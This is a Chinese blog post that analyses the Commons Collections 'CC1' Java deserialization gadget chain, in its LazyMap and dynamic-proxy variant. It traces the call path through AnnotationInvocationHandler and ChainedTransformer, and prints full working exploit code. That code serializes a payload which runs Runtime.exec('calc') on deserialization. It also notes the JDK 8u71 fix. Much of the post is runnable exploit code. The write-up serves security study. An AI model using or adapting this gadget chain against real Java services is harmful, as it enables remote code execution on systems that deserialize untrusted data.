cc链1再分析

本文详细分析了Java中的动态代理机制,特别是AnnotationInvocationHandler和LazyMap的调用链,展示了如何通过Proxy和InvocationHandler创建动态代理实例。同时,文章提到了在Java 1.8.0_71版本中对AnnotationInvocationHandler.readObject方法的修复,该修复影响了利用动态代理进行序列化的安全性。
摘要由CSDN通过智能技术生成

cc链1再分析

cc链1有两个版本,后半条链基本相同,我们来看下另一个版本的前半条链的调用过程

调用链分析

调用链

用到了动态代理

AnnotationInvocationHandler(Proxy)-->
	Proxy(AnnotationInvocationHandler).xxx
		-->AnnotationInvocationHandler.invoke(LazyMap)
			-->Lazymap.get(ChainedTransformer)
				-->ChainedTransformer.transformer
	 

LazyMap

调用transformer的方法那里,看LazyMap类
在这里插入图片描述

在get()方法中,调用了factory.tranformer(),看这个factory

protected final Transformer factory;

是个Transformer类对象,虽然是protected,但是可以通过decorate方法进行获取类对象

在这里插入图片描述

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class },new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","value");
        Map map1 = LazyMap.decorate(map, chainedTransformer);
        map1.get(Override.class);

get方法中随便传一个类,进入if语句即可
继续往下走,看谁调用了get方法

AnnotationInvocationHandler

rt.jar.reflect.annotation.AnnotationInvocationHandler

在这个类中有5个地方调用了get()方法,我们着重分析invoke方法内的调用

在这里插入图片描述

我们需要绕过这些ifswitch,去调用get方法
而在readObect中,有一行代码是执行member.entrySet(),这个参数是我们代理的AnnotationInvocationHandler类,外部调用该类方法,会去调用invoke方法

在这里插入图片描述

Proxy

		Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationinvocationhandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationinvocationhandlerConstructor.setAccessible(true);
        //实例化
        InvocationHandler h = (InvocationHandler)annotationinvocationhandlerConstructor.newInstance(Target.class,map1);

        //动态代理
        Map newProxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
        Object o = annotationinvocationhandlerConstructor.newInstance(Override.class, newProxyInstance);
        serialize(o);
        unserialize("ser.bin");

而最外部还是需要一个AnnotationInvocationHandler来作为序列化的起点,其readObject方法

注意:动态代理可以序列化

最后的代码

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

    public static void serialize(Object obj)throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    //定义unserialize方法
    public static Object unserialize(String Filename ) throws  IOException,ClassNotFoundException{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream((Filename)));
        Object obj = objectInputStream.readObject();
        return obj;
    }
    //主函数
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class },new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","value");
        Map map1 = LazyMap.decorate(map, chainedTransformer);
        //map1.get(Override.class);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationinvocationhandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationinvocationhandlerConstructor.setAccessible(true);
        //实例化
        InvocationHandler h = (InvocationHandler)annotationinvocationhandlerConstructor.newInstance(Target.class,map1);

        //动态代理
        Map newProxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
        Object o = annotationinvocationhandlerConstructor.newInstance(Override.class, newProxyInstance);
        serialize(o);
        unserialize("ser.bin");

    }
}

版本区别

1.8.071中将AnnotationInvocationHandler.readObject进行了修复,不再调用checkValue,所以cc1不能用了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值